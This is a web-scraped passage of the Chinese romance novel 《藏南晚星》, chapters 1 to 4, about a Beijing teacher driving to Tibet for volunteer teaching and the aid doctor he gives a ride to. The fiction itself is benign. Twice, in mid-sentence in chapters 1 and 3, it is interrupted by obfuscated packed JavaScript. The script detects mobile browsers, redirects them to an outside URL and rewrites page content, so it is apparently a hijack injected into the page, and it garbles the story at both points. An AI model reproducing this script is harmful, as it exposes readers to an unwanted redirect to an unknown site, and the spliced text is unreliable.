《藏南晚星》 1. 第 1 章 许南珩距离拉萨还有一千公里。 他第800次遏制住了掉头返程回北京的冲动。 他在毒瘴一样的浓雾里从京藏高速拐上国道109,大雾让本就视野不佳的夜路更加难行。 他从北京出发已经第四天。按照计划,三千多公里,这会儿拉萨应该近在眼前。 但昨天到格尔木后他忽然起了烧,吃了退烧药后一直在酒店休息,睡了将近20个小时,今天傍晚才醒来,给服务员吓得差点要报警。 幸而他体质好,醒来后体温恢复正常,冲完澡吃了饭继续赶路。 充分休息后许南珩精神头不错,他决定不再耽搁,今晚连夜朝拉萨赶。时间是晚上十点,雾还是很浓,能见度差,许南珩开着雾灯和双闪。 他开一辆奔驰G63,平时去学校上课他绝对不会开这辆落地300多万的车,他都骑他姥爷买菜的小电驴。 他姥爷早上六点半买完菜回来,他刚好六点半继续骑出门去学校。一辆电驴服务爷孙俩,像极了那大宅院里干一辈子的老管家。 可偏偏在支教考核通过后,被一同事发现—— 原来许老师三代同堂,不是他们想象的老人父母挤在一间老破小,那他妈是个四合院。进而又扒拉出他家里不简单的背景,这家从姥爷那辈就富贵到如今。 于是在许南珩刚刚通过考核后的,暧昧的时间点,学校里流言四起。啊,京城贵公子啊,那区区支教考核,他肯定要通过的啦。把大少爷派去个山清水秀的支教岗,出去一年镀个金,一年后风风光光地回来,给履历添上一笔,多好。 从北京到这儿,一路上许南珩烦得脑袋冒烟。 他感觉给自己天灵盖戳个洞,就是这车的另一个排气管。好想掉头回去把那几个阴阳怪气的老师挨个揪着衣领揍一遍。 想想而已。 几个同期实习的老师半开玩笑地怪他不实诚,带他的师父宽慰他,北京这地儿,在大街上拿砖头往人堆里扔,十个里能砸中起码仨大少爷,让他别放在心上。 许南珩只能苦笑,他倒不是想瞒着,只是想低调点,大家相安无事地当同事,自己做好自己的工作。 国道109京拉公路上有很多大货车,这些司机熟门熟路,摁着喇叭轰地从他旁边超过去。 开了两个半小时后,他下车抽烟。 凌晨十二点半,国道边还残留着几个小摊贩,拖拉机里上挂着灯泡,卖饮料零食。许南珩走过去问有没有火机,藏族大哥摇摇头,用汉语说:“你要是白天来,一定能买到,白天这里人多。” 许南珩点头嗯了声。他在大哥这儿买了瓶可乐和红牛。 他咬着没点的烟走回车边,实在太烦了,烦得要去踹轮胎的时候—— “哒。” 男人擦开砂轮,火苗跳出来,凑到他烟尾。 橙黄色的火苗一扭一扭,在这黑灰色的天地间成为唯一的亮色。 许南珩发现雾不知什么时候散了,也可能是他已经开出了雾区,这里距离拉萨还有800公里。 高海拔地区澄净的大气让夜空格外清晰。晚星下,许南珩看见了连月来,唯一一张让他顺眼的脸。 他咬着烟,看着这男人的眼睛,将烟尾焚入火苗。 烟点上了,他深吸一口后,平静了很多。 许南珩夹下烟,等着对方先开口。 国道边不停有车轰着油门疾驰而过,带起的风掀着许南珩的外套和发梢。 “你去拉萨吗?能不能把我捎上,我车坏这儿了。”男人盖上防风火机,指了指国道边。一个不起眼的汽车维修店,店外面停一辆皮卡。 男人又掏出两个证件,递给他:“身份证没带,这是我的驾驶证行驶证。” 许南珩重新咬上烟,没低头,垂着眼打开他证件。 方识攸。 生死攸关的攸。 他行驶证上的车牌号和许南珩一样是北京牌照,许南珩抬眼看看他,问:“北京人?” “嗯。”方识攸点头。 许南珩又问:“看我也是京牌车所以来问我的?” 因为环境太暗,许南珩这时候才发现方识攸手里拎了个小箱子,上面一个红十字的医疗标识。 “对。”方识攸说,“我是援藏医生,这保温箱里装的阿利西尤单抗,一种皮下注射,拉萨的医院等冷藏物流要等两天半,我患者急用,联络了格尔木的医院,我一早过来拿的。” 说完,方识攸报了个北京的医院名字。许南珩先看了他一眼,那是北京一间很不错的三甲医院,有年他姥姥高血压就在那儿住院的。 许南珩低垂着眼睛,一手拿着方识攸的驾驶证,一手掏出手机,在那个医院官网搜索‘方识攸’三个字。很快,出现医院的历年援藏、援疆医疗项目,方识攸赫然在列。 他抬眸再低眼,对比着面前的人和手机屏幕里的照片,然后把驾驶证和行驶证递过去。 方识攸接过证件揣好,又说:“我出路费,捎我一截吧,可以吗,你说个数。” 许南珩叼着烟眯了下眼,说:“五百。” “你还是个热心肠。”方识攸笑起来。 ……妈的收少了。 许南珩愤恨地咬了下烟嘴,说:“上车。” 他在车载中控下方的烟灰缸里灭掉烟,打转向灯开上国道。 方识攸那个保温箱里的东西,许南珩没要求他打开给自己确认。他这会儿真的烦,烦到就算方识攸从那里面掏把枪出来把自己崩了,他也只会感叹:行吧算你牛逼。 结果是方识攸直接把小保温箱放去后排的地上,然后开始享受这奔驰大G的公交车视角,并且和许南珩闲聊。 方识攸:“你从北京自驾过来的?” 许南珩:“嗯。” 方识攸:“忘了跟你说谢谢,果然单手开大G,有情有义。” 许南珩低声笑了下。 奔驰G63这车虽然后排空间窄得令人发指,但它是硬核越野,旨在提供驾驶乐趣,窗框的高度刚好可以让人胳膊肘随意一搭。 此时许南珩就是这么个姿势,右手扶着方向盘,左胳膊搭在车窗框,单手开车。搭配他帅得颇有些嚣张的脸,方识攸看过来的时候,目光在他侧脸停留了两秒多才挪开视线。 两个车窗全降,夜风在主副驾驶之间对穿。 方识攸是个素养不错的人,没打听许南珩的私事,譬如你做什么工作,来西藏是不是旅游。 再向前开始有风沙,许南珩把车窗升起来,车厢里彻底成了封闭空间。 奔驰中间的屏幕上亮着导航,他们距离拉萨还有770公里,海拔已经升到4000以上,车里两个人都没有出现高反。 夜色笼罩着109国道,只有进藏和出藏的大货车,荒凉之地。他们一个上了陌生人的车,一个让陌生人上了自己的车。 有一种不要命的荒诞感。 “你要是开困了我可以开。”方识攸说。 许南珩摇头:“没事,我睡了一个白天。” 说完补了句:“你倒是可以睡一下。” 许南珩觉得这大夫应该是个挺开朗的人,他声音听上去也舒适,没有很浓的京 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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Watch提醒他站起来活动活动,于是凌晨四点,许南珩将车开下国道,在土路停着,下车抽了根烟。 “火。”许南珩偏头对方识攸说。 方识攸走过来掏出火机递过来,同时许南珩递了根烟给他。许南珩抬头将烟往天上吐,浓墨一样的夜空里,像一块玻璃摔在苍穹,迸碎了漫天的碎星。 许南珩这辈子第一次见这么多,这么清晰的星星,原来星月真的可以照亮一方天地。海拔高的地方确实让人有接近天空的感觉。 而方识攸不同,方识攸已经援藏快一年了,他司空见惯。 所以他看的不是星空而是许南珩,他忽然问:“还没请教你贵姓?” 许南珩夹下烟,从星空收回视线,看向方识攸,说:“免贵姓许,许南珩。” “许先生。” “嗳,方大夫。”许南珩提起唇角笑了下,重新咬回烟。 他笑是因为觉得被叫许先生蛮不习惯的,通常他听见的称呼都是许老师。 抽完烟上了厕所,往车上走,走近的时候方识攸忽然说:“很多人都是带着故事来西藏的。” 许南珩从车头绕去主驾驶,顺手拍了下车引擎盖,笑得帅气逼人,说:“别人带着故事,我带着奔驰。” 方识攸先愣了下,然后跟着笑:“确实,没这奔驰真不行。” “没这奔驰,您滴一高原狼骑回拉萨吧,那可不是收五百,估计收五十斤肉。”许南珩拉开主驾驶车门,“上车吧方大夫。” 2. 第 2 章 清晨,日出。 六点的时候方识攸认真地提出让自己来开,国道的路况没那么好,加上海拔变化,许南珩不能连续驾驶这么长时间。 天光微醒时二人下车在国道边的摊子上吃了些东西,然后交换位置,由方识攸开车,继续出发。 方识攸在驾驶座坐好后,许南珩本就懒散的京腔带着困倦,指了车上的几个操作位置说:“怀挡、手刹、紧急救援,调后视镜在车窗按钮前边,这儿,车道保持,这儿雷达开关。辛苦您。” “行,睡会儿吧您。”方识攸说。 说话的调调归根结底来自于语言环境,语言环境够强大,很容易被带偏,最明显的就是东北腔,东北腔制裁一切。 方识攸在西藏呆了不少日子,和同事们说普通话,“您”来“您”去的京腔忘了大半,这会儿被许南珩带了回来。 但其实许南珩说话的“您”主要就是在家里,单位平辈之间相处熟了就不太“您”了,倒是他姥爷挺注重这个的,时不时提醒他,“您”是尊重,咱是大国,礼仪之邦。 大国这个概念,这回许南珩是物理层面地体会到了。 这趟长途开下来,许南珩觉得中国地理很神奇,在京藏高速上的时候被雪山环抱,拐上国道109之后倏然视野开阔无比,一眼望到天际线的草原。 他找了个相对舒服的姿势窝在副驾驶,闭上眼睛。开车开长途不是体力上的累,而是精神长久地高度集中带来的大脑疲惫。 许南珩断断续续地睡着醒着。主要奔驰大G车身太高,车身高,风阻就大,风阻大,开在路上就哗哗的全是气流噪音,叫做‘风噪’。 不知道过了多久,他在副驾驶蹙着眉嘟囔了一句:“吵死了个破车。” 他以为车里气流声这么大方识攸不会听见,起码不会听清。结果方大夫发出了轻微的诧异,又很快转而为一种轻松的笑声:“可别,我刚还在想,别人的车确实不能开,开了就想买。” 许南珩笑笑,掏出手机。外面苍翠的草场成片地蔓延去天边,牛羊马群,他是一眼不看。这让方识攸稍微有些好奇,他觉得许南珩可能不是游客,正常游客这会儿应该降下车窗往外拍照。 进藏的线路美不胜收,日出的金光落在雪山尖顶,多少人一辈子都没见过的风景居然真有人能忍住只瞄一眼。 随着阳光渐强,国道上的车多了起来,周边摆摊的小贩也慢慢热闹。在国道边做生意的不少,这条路也叫青藏公路,是西藏物资运输的主干道之一。 所以车多了起来,多的都是大挂货车,轰隆隆地从旁边擦过去。 话虽如此,但G63就是G63,车高1米9加上v8发动机,在大货车面前完全不虚。方识攸给了些油,连超两辆,许南珩这时候才落了些车窗,兴趣缺缺地看着外面。 “你怎么一点儿不激动?”方识攸问,“好多人第一次来西藏,同一片风景能拍十来张照片。” “我挺激动的。”许南珩淡淡地说。 这给方识攸整不会了,但他没接着说下去。因为没什么好说的,许南珩这个年纪开着大G来西藏,给人一种最直观的判定—— 最起码,他很有钱。 单单买辆奔驰大G不能绝对地说此人很富有,但能舍得开它在西藏跑国道,那是真的富有。因为不仅油耗,还有相当的车损。 天地良心,许南珩真的没说谎,他看着外面辽阔的草场,自然的、无任何城市建设的大地,他舒服多了。 主要方识攸没见到他在北京时候的脸,那会儿在学校办公室他连掀了三张办公桌,最后一脚踢翻了某嘴碎老师的电脑主机,一条腿踩上去。当时那老师脚下一滑自己摔了,哆哆嗦嗦的手指头指着许南珩的脸,说什么来着? 那老师说的什么,许南珩已经记不清了,大概是警告吧,一些“你敢动我一根手指头我立刻就报警”之类的话。 许南珩又不傻,他当然不会出手打人,但桌子还是要掀的,不掀他能憋死。 人,当然不能被憋死。于是他追根溯源找到那几个散播流言的老师,果然几个人是同一办公室的,趁手了,三连掀。 还波及了两个盆栽一个饮水机,砸场子似的。 闹到校方那儿的时候,学校几个领导其实也头疼,许南珩通过了试课和笔试考核,政审也是清清白白好人家。 造谣定是不对,许南珩掀桌子砸人办公室也不对,最后各打五十大板,互相道歉,算了。 许南珩不愿意算,他坚定认为这事儿自己没错,拒不道歉。 他有什么错,他投胎有技巧生了个富贵人家,家里三代从商自己十年寒窗。商贾世家想培养个身上有墨水味儿的书生。于是从小悉心引导,要他多读圣贤书。 读着读着,许南珩萌生出了教书育人的念头,家里自然大力支持。他呢,踏踏实实地读书,考了师范,研究生毕业,进了高中。 恰逢校方有了支教计划,与偏远地区进行校对校的教育援助,开放招募支教老师。许南珩一腔热血,书生也想远赴边疆。结果居然被编排成,全为自己履历添金、以后更容易升职。 然后他就来了。 西藏自治区,山南市再向南的,几乎快到国境线的,山沟沟里的一个小县城。 校方要给买机票也拒了,自己开车来的。 “前面要到那曲了。”方识攸说。 “啊?”许南珩回神,“喔,吃个饭吧。” 方识攸“嗯”了声,说:“车也要加油了。” 那曲到拉萨还有三百多公里,和许南珩预计的一样,差不多傍晚五点能到拉萨。他订了拉萨的酒店,今晚好好睡一觉,明天到山南,再到县里。 方识攸将车开进加油站排队,许南珩下车伸了个懒腰。 “加几号?”方识攸还在车里,他降下车窗问。 许南珩:“98,你脑门上边有油卡。” “好嘞。”方识攸笑笑。 许南珩走到主驾驶这边,手伸进车窗:“方大夫,火。” “这儿加油站。”方识攸盯着他。 “啧。”许南珩无奈,“这么点常识我没有吗?前边有卖烤包子的,我过去转悠转悠,坐车坐得我血液不循环了都。” 方识攸点点头,叮嘱了句:“别跑远了啊。” “你也别带着我奔驰直接溜了。” “那不能。”方识攸说,“我还欠你五百呢。” 许南珩笑了下,火机在手里颠着玩,走向加油站前面的小摊。摊子上不仅卖烤包子,还有些他不认识的面点。 摊主大姐牵着一小姑娘,微笑着用流利的普通话问他:“想吃点什么?” 大姐皮肤干燥,有当地人脸上常出现的高原红,小姑娘的下 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许南珩找了个空地用方大夫的火机抽了根烟,折回加油站的时候恰好看见方识攸开车慢悠悠地从加油站出口出来。方识攸也看见他了,摁了下喇叭,许南珩挥挥手。 方识攸把车往国道下边停,停好后熄火下车。说:“你把东西先放车上,我俩去加油站后面洗把脸。” “哦。”许南珩点头,把包子放在副驾驶。 加油站里有便利店,买了一次性的牙刷牙膏,俩人在加油站的卫生间里简单洗漱了一下。冰凉的水泼在脸上相当舒服,接着方识攸从兜里拿出一管防晒霜。 许南珩来西藏没做任何攻略,他在北京的高中还没带班,这是他实习结束的第一个学期,没有需要交接的事情,行李一收拾就来了。 见到方识攸手里的防晒霜才反应过来,这儿是高原,紫外线极强。 “谢了。”许南珩刚刚心里一暖,心道这就是边疆遇老乡吗,真暖心。 然后方识攸没撒手:“我意思是给你挤点儿,你要我一整管啊?” “……” 两厢尴尬地对视了片刻,还是方识攸没绷住,噗呲笑了:“开玩笑的,我这管剩一半了,刚在店里给你买了根新的。” 说着又从外套另一个兜里拿出一根整的。 “……”许南珩叹气,“方大夫,我最近真的经受不起什么情绪波动了。” “不好意思啊。”方识攸往他手背挤了一大坨防晒,“虽然不知道你经历了什么,但是来了西藏就放轻松点。” “啊?”许南珩没明白。 方识攸指了指他手背,示意他先把防晒霜涂上,说:“先走吧,别在卫生间前边闲聊。” 于是二人边走边说。 方识攸说:“你知道为什么西藏让人宁静吗?” “为什么?”许南珩随便糊了糊脸上的防晒霜。 方识攸说:“氧气稀薄,动弹不得,自然就宁静了。” 许南珩:“……” 方识攸笑着走到车头,拍了下引擎盖,说:“带着故事也好,带着奔驰也好,许先生,这里是西藏,过了唐古拉山就把杂念留在外面,上车吧。” “我是老师。”许南珩说,“教高中数学的。” 方识攸点头:“许老师。” “嗳,方大夫。”许南珩应道。 3. 第 3 章 接下来的三百多公里很顺畅,难得的顺畅,昆仑山口没有堵车。 过了当雄就是拉萨,太阳还没落山,许南珩已经困了。 他上一次睡觉还是在格尔木,这会儿属实顶不住,尤其吃了烤包子和他不记得名字的,脆底儿的面饼,摄入碳水后升糖,加上车子摇摇晃晃,带来的困意不讲道理。 总之许南珩再次睁眼,到拉萨了。 “这就天黑了?”许南珩懵逼地看着车窗外问道。 方识攸见他醒了,说:“没有,天没黑,是阴的。拉萨就是这样,天气变化很频繁,一会儿太阳刺眼一会儿乌云压城开始刮风。” “喔……”许南珩声音发虚,且喑哑,他睡得不舒服醒过来就是这样。 他清了清嗓子,伸手去后座摸矿泉水。 外面风很大,不知道是不是因为海拔高,许南珩觉得这阴云真低啊,真的像压城。 十字路口,交警亭旁边的塑料棚被风拉扯着哗啦啦地响,都快被刮去斑马线了,交警立刻跑过来拽住它的杆儿,垃圾桶里的塑料袋也被卷出来漫天乱飞。 然后方识攸说:“喏,布达拉宫。” “嗯?” “从我这儿看。”方识攸目视前方,指了下主驾驶这边的车窗。 看向主驾驶车窗的话,就肯定会看见司机。所以许南珩一扭头,第一眼看见的是方大夫流畅且利落的下颌线与侧颈。 方大夫的样貌很不错,有点像大学时候匆匆路过面前的帅气学长,惊艳一眼,惦记好几年。许南珩稍微有点颜控,所以当时才让他上了车,半夜带陌生路人这种行为其实很危险,有点赌命的意思。 “看见了吗?”方识攸问。 “啊。” 根本没看见,走神了。许南珩实话实说:“没。” “没事儿,机会多。” 许南珩一蹙眉:“为什么这么说?” 方识攸说:“你是老师,过阵子开学了,你这个时间来西藏,应该来支教的吧,以后能看见……许老师,我停哪儿?你这个导航定位定的是布达拉宫广场,但是这会儿过去要堵车,我有点赶时间,能不能找个地儿先让我下?” “哦。”许南珩喝了口水,坐直起来,看了眼辅道路边的车位,说,“我定位随便定的,你就在那儿停吧。” “好。”方识攸打灯变道,等着车流过去后,开到辅道边的公共车位上。 他将车停稳后,胳膊伸向后排地上拎起保温箱,然后解开安全带,掏出手机,说:“给你转路费。” 说到路费,许南珩忽然想起加油站,问:“之前加油的钱你掏的吧。” 方识攸没出声。 许南珩伸手把副驾驶前边的手套箱摁开。果然,他记错了,油卡不在方向盘上方的遮阳板里,被他上次放进手套箱里了。 这辆奔驰大G的油箱100升,98号油1升不低于9块,许南珩凑过去看仪表盘,那会儿方识攸应该是98加满了。 “得了,别给了,你走吧。” “许老师。”方识攸说,“当时月黑风高,我是你国道边碰上的陌生人,你愿意涉险带上我,这点油钱算什么,不过以后这种情况你还是要多掂量,这年头很多信息可以作假。” 许南珩笑了下:“行,我记下。” 他当然不能说因为我看你长得顺眼,于是添了句:“方大夫说得对,下回我长个心眼。” “收款码。”方识攸示意了下自己还在扫一扫状态的手机。 许南珩摇头:“不用了,你都付了油钱。” “那不行。”方识攸坚持要给,“路费是路费,油费是油费。” “真不用了。”许南珩说,“你不赶时间吗,赶紧走吧。” 他边说边解开自己安全带,直接打开副驾驶门下车。风真的大,许南珩一件白T恤和铅灰色的连帽卫衣外套,外套拉链没拉,给他掀得像个大侠。 许南珩直接绕过车头,走到主驾驶,从外面拉开门,催促他:“方大夫,下车吧,有缘再见。” 方大夫无奈,毕竟许南珩这车又不是出租车,不会在里面贴个收款码。他收起手机,风涌进车厢里,方识攸被刮得眯了眯眼。 结果是方大夫已经在藏区做了快一年的医疗援助,去过很多乡村县城,所以身上常备现金。他从外套内兜里摸出钱包,直接一把抽出所有现金,塞进了副驾驶前边的手套箱,将其一合,盖上了。 “啧你……”这番操作许南珩属实防不住。 方识攸收起钱夹拎好保温箱,下车:“多谢你带我一程,许老师。” “客气了方大夫。”许南珩和他握了握手。 “再见了。”方识攸说。 “嗯。”许南珩点头,“再见。” 接下来许南珩坐进驾驶座,调整了一下后视镜和座椅,打灯转向准备汇入车流。后视镜里方大夫那一抹高挑的身影被大风裹挟着消失在人群。 再一看手套箱,方大夫塞了一千二进来,许南珩轻轻叹了口气,把手套箱合上。 调好导航目的地后,许南珩才恍然——萍水相逢同行一程,方大夫给加了一箱98汽油还搭一防晒霜,没和他加个微信什么的。 主要方识攸走得太匆忙,且乌云狂风,兵荒马乱的,许南珩自己也忘了。他并非扭捏的人,不是非要等别人主动开口提出加联系方式,他想要微信的话会直接说,但刚刚是真忘了。 算了,许南珩往酒店方向开,虽然有点可惜,但也只有那么一点而已。 可能匆匆路过的帅哥会惊艳他一眼,但他绝不会惦记好几年。 办好入住后,许南珩呈大字型躺在床上。虽然从格尔木开出来之后海拔一度升到四千多米,可那会儿人在车里,不太动,他也没有高反,所以觉得自己是那个不高反的幸运儿。 但就刚刚,停了车,拖着两个行李箱背着包,从停车场走到酒店大堂那短短一截路,居然喘上了。 高海拔地区的“一截路”和寻常的“一截路”简直不是一个概念,拽着行李箱就算了,肩上还背了个包。 他那电脑就快六斤,进去酒店大堂的时候喘得像是从北京徒步走过来的。 躺了会儿,感觉好点了,许南珩摸到手机,打了个电话出去。片刻后,电话那边接通了,许南珩说:“妈,到拉萨了。” “安顿好了吗?”妈妈问。 “嗯,在酒店休息,明儿开车去山南。”许南珩翻了个身侧躺着。 妈妈:“累了吧,听你这声儿,有气无力的。” 许南珩:“那可不,三千五百多公里,我一个人开了一大半。” “嗯?”妈妈那边问,“剩下的一小半呢?” 许南珩本想瞒一下的,但缺氧缺得脑子也迟钝了:“啊……半路捎上了个人。” “什么人啊!多危险啊!”妈妈那边提高嗓音,“你怎么能让陌生人上车呢,万一是坏人呢!万一给你敲晕了拉走,掏了肾挖了眼角膜呢!防人之心不可无啊许南珩!” 预料之中妈妈会这么说,其实许南珩自己也明白,便说:“好~下次不会了,没有下次了。” 妈妈那边又教育了几句,许南珩乖乖应着。妈妈稍有些溺爱他,出发前就说了,反正是开车去,半途后悔了就掉头回来,咱们不支教了。 许南珩路上想掉头纯属烦的,他也很清楚妈妈只是宝贝自己,不想自己受委屈。 妈妈叹了口气,接着说:“那你要在市区买好生活用品,哎对了,南珩,布达拉宫看了没?药王山去了吗?多拍拍照片呀!” “……”许南珩哭笑不得,“妈我不是来玩儿的。” 终于挂断电话,许南珩觉得在高原还是要少说话,给他累得不轻。继续躺了几分钟,许南珩坚强地爬起来,去浴室洗了个澡。 再从酒店出来,行凶似的狂风已经结束,天气晴好,西藏天黑得晚,时间将近晚上八点,天空的颜色像倒扣的湖。 酒店大厅的服务员跟他说游客都爱去八廓街逛,建议他也去看看。许南珩道了谢,委托酒店洗了一下他一路过来换下来的衣服,然后走出酒店沿街闲逛。 他溜达的这条街开了很多写真店,为游客化妆,出租民族服饰然后帮他们拍照。许南珩长得不错,身材也好,1米84的个头,腰窄腿长,五官清俊,不少店员招呼他,问帅哥要不要来拍几张。 原来人在异乡是这种感觉,分明街边人来人往,却感觉很空荡。店家门头上都是两行字,一行藏文一行汉语,有些连锁店的奶茶店和快餐店。 最后许南珩进了家德克士。 许南珩比较理智,他前往县里任教的时间是后天,所以他决定这两天的吃喝都尽量谨慎,不要搞得水土不服上吐下泻,耽误事儿。 妈妈在微信上继续问他有没有吃晚餐,他拍了汉堡可乐发过去,他妈妈一连发了好几个流汗无语的表情回来。 他们学校支教的十多个老师拉了个微信群。大家前去的支教岗情况不同,西藏秋季开学比较早,八月中旬就开学了,有些地方开学时间也早,一批老师已经出发,一批老师还留在北京。 大家知道许南珩前几天出发了,但一直没在群里说话,于是被@了一下。 [谭奚:@许南珩,许老师到了没?] [戴纪绵:许老师可能还在开车?] 谭奚是和许南珩同一批的实习老师,戴纪绵老师则刚刚送走一批高三生然后今年支教。许南珩顺下去一口可乐,回复:刚到拉萨,有点缺氧,在酒店躺了会儿。 听闻他到了拉萨,群里噌地冒出来不少人,都让他快发点照片,七嘴八舌的。平时许南珩嫌群聊很烦,这会儿忽然觉得人在他乡的时候看群聊居然顺眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727256|189515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 [许南珩:明儿吧,明儿去拍一下布达拉宫。] 大家这时候也反应过来,纷纷说好好休息,毕竟谁都不是出去玩儿的。群里慢慢安静了,许南珩吃完饭,坐在餐厅里发了会儿呆。 外面天色渐暗,还有很多游客在夜拍,穿着藏族的衣服,脸上画很有民族感的妆。许南珩走出餐厅后,尝试深呼吸了一下,然后倏地一笑,确实,方大夫说得很对。 氧气稀薄,动弹不得,自然就宁静了。 他又有点想抽烟,但是他火机不晓得在哪儿丢了,可能丢在过银川的服务区,也可能丢在格尔木的酒店。 手揣在兜里摸着烟盒,然后抬脚走向一间小超市,得去买个火机。 第二天他决定去看看布达拉宫。 布达拉宫广场很大,人也很多,许南珩找了个游客路人问从哪儿进。 结果那位游客指了一个超级远的地方,说:“那儿看见了吗,那个售票点,就是布达拉宫的入口。” “要、要走那么远吗?”许南珩差点结巴。 游客边比划边说:“是的噢!我们昨天进去过啦,那儿只是入口,爬到顶要爬12层呢,但是从顶上能俯瞰整个拉萨。” 于是四体不勤缺乏运动的人民教师点头微笑,礼貌地说:“这样啊,谢谢您。” 还是算了,让他想起了很多人爬到泰山售票点就决定结束这段旅程的故事。许南珩举起手机,拍一张照片,发给妈妈,又发进支教同事们的群聊。 后一天下午,山南市支教项目的负责人联系了许南珩。 对方和许南珩加上了微信,把注意事项以及进县城的路线图发了过来,他们对待支教老师很真诚,甚至询问了他需不需要报销油费,用加油站的凭证就可以。 许南珩连忙拒绝了,为了防止见面后对方像方大夫一样直接把现金扔自己车里,不惜谎称自己校方已经报销了,对方才安心。 去县城要先过山南市,拉萨到山南很近,一百多公里,高速畅通,许南珩一个半多钟头就开到了。到山南后是一次支教会议,还有许多在藏南支教的老师们,今天是一个大会。 老师们从五湖四海来到西藏南部,会议结束后,大家亦从这里分散开来,去到自己支教的乡县。许南珩也是,会议结束后大家合了一张影,许南珩继续开车,去县城。 从山南离开之后,后面的路就变得难行。 他开了一个小时,在非铺装路面上颠得五脏六腑一锅炖,终于赶在日落前到了县城。 到了县城还没完,接应他的老师说,学校不在县里,在下边的村庄。 许南珩跟着老师的车后面开,开得万念俱灰。 二十几公里的山路,开了三个小时。 许南珩人都傻了,二十几公里啊——要是柏油路,二十公里骑自行车也就俩小时啊! 而且许南珩这是越野王者奔驰大G,可以想见这山路有多难开。 三个小时后,他终于站在了学校院子里。学校的前大院只有三样东西,带他过来的老师、他自己,和国旗杆儿。 老师说,这栋楼以前是别人捐的希望小学,那些小学生升了初中,又拾掇拾掇改了初中。 教学楼当时在照片里看到了,还不错,打扫得很干净,贴着瓷砖,暑假又漆过一回。 “对了,我叫达瓦江措。”他向许南珩伸手。 许南珩回过神,和他握手,说:“许南珩。” 接下来达瓦江措带着许南珩去看了一下教师宿舍,宿舍在教学楼的二楼,一楼和三楼都是教室。楼道转弯的地方是卫生间和开水房,天台有晾衣服的地方。 达瓦江措笑了笑,和他交换了联系方式,说:“那你休息休息吧,我们学校的食堂还没开餐,但是往村里走有卖吃的。” “好,谢谢。”许南珩说,“我去村里看看吧。” 他和达瓦江措一起下楼,许南珩的车停在学校里显得这车格外大,他呼了一口气,提醒自己不是早就决定好了吗,无论这儿是什么环境都要坦然接受。 学校用一圈铁栅栏围了起来,后操场还不错,有塑胶跑道和篮球场。达瓦江措领着他从学校的侧门走,说这里进村近些。 从侧门出去后,许南珩依稀听见不远处有人在说话。 一个男人说:“支教老师过来了,说这两天有个欢迎会在县城,也叫上我们了,你到时候去吗?” 另一个男人的声音有些耳熟,说:“看情况吧。” 许南珩觉得耳熟得有点过分,偏头看过去,有两个男人在学校栅栏旁边抽烟。 其中一个穿白大褂,也看了过来。 白大褂对面的男人又说:“大老远过来这穷乡僻壤,教孩子读书,真是热心肠。” 白大褂笑了起来,眼神依然落在许南珩身上,说:“确实是热心肠。” 4. 第 4 章 那白大褂就是方识攸。 达瓦江措一回头,许南珩还杵在那儿,于是他往回走,问:“许老师你怎么不走啦?” 许南珩“啊”了下,收回视线,看向达瓦江措:“我……那个……” 他磕巴了两下,达瓦江措眨着眼睛等他说话。这事儿很容易说,我看见一熟人,但许南珩偏单单这时候脑子缠一块儿了。 方识攸灭了烟走过来,距离四五步远的时候,喊他:“许老师!” “嗳,方大夫。”许南珩下意识回应。 达瓦江措震惊了一下:“哎?!你们认识啊!” 随后达瓦江措立刻想通了:“哦——对对,方医生也是北京来的,你们本来就是朋友吗?” 方识攸笑了笑,模棱两可地说:“之前认识。” 确实是之前认识,没什么问题,许南珩也没多做解释。达瓦江措笑了起来:“那太好了,许老师,你在我们这里还有个照应呢。” “是、是啊……”许南珩迅速调整了一下状态,让自己看起来别太僵硬。他整理了一下衣服领子,挠挠后脑勺。 方识攸转而对达瓦江措说:“你带他去村里吃饭吗?” “对,带许老师熟悉一下。” 方识攸说:“你忙去吧,我来带。” 达瓦江措是县城初中的老师,但他每个礼拜会来村里中学帮忙代课,两头奔波。这点方识攸知道,达瓦江措天天跑来跑去,今天又接待许南珩,估计累坏了。 达瓦江措应了声,点头,没客气:“好嘞,辛苦方医生。” 和方识攸一起抽烟的男人也跟了过来,方识攸给他介绍:“这位我同事,杨郜,四川人,杨大夫这位许老师。” 许南珩跟他握了握手,方识攸又说:“要不我带你去县城里吃点儿吧。” “别。”许南珩的脑海瞬间浮现仨小时的山路,直接拒绝,“我刚从县城过来,跑了一天了,实在不想开车也不想坐车。” “哦好。”方识攸说,“那你来我们医院食堂吃?” 许南珩毫不犹豫:“行。” 方识攸说的医院其实也就那么一栋楼,走去医院的路上,方识攸告诉他,他援藏的地点是县城里的那个医院,但也是因为周边村落交通不便,所以每个月会轮流有医生从县医院过来这边这个小医院里坐诊。 并且他们每隔一段时间会去到各个村庄义诊,所以这边不是每天都有人在。 附近的村子和零散住着的藏民们习惯称这里是“小医院”,管县城里那个叫“大医院”。 而所谓的食堂,其实是小医院的领导两口子掌勺,做大锅饭。 小医院和学校一样,是土楼,用的栅栏甚至是同样的花纹。前院里停着几辆车,都是高底盘的SUV。许南珩抬眼打量了一下这个建筑,门边竖着的铁牌两行字,汉语那行写的是县城医院,大概这个可以理解为县医院的下属分院。 且就叫它医院吧,许南珩想着,继续打量。进到这唯一一栋门诊楼里,许南珩也看见了这里只分内科和外科。 “方大夫。”许南珩叫了他一下。 “嗳,许老师。”方识攸回头。 “那个,洗手间在哪儿?” 方识攸指了一下门诊角落:“那儿。” “能不能稍等我一下。” “当然。”方识攸俩手揣在白大褂口袋里,微笑着看他。 许南珩小跑去卫生间,杨郜用胳膊手碰了碰方识攸,问:“你俩是在北京时候的朋友吗?” 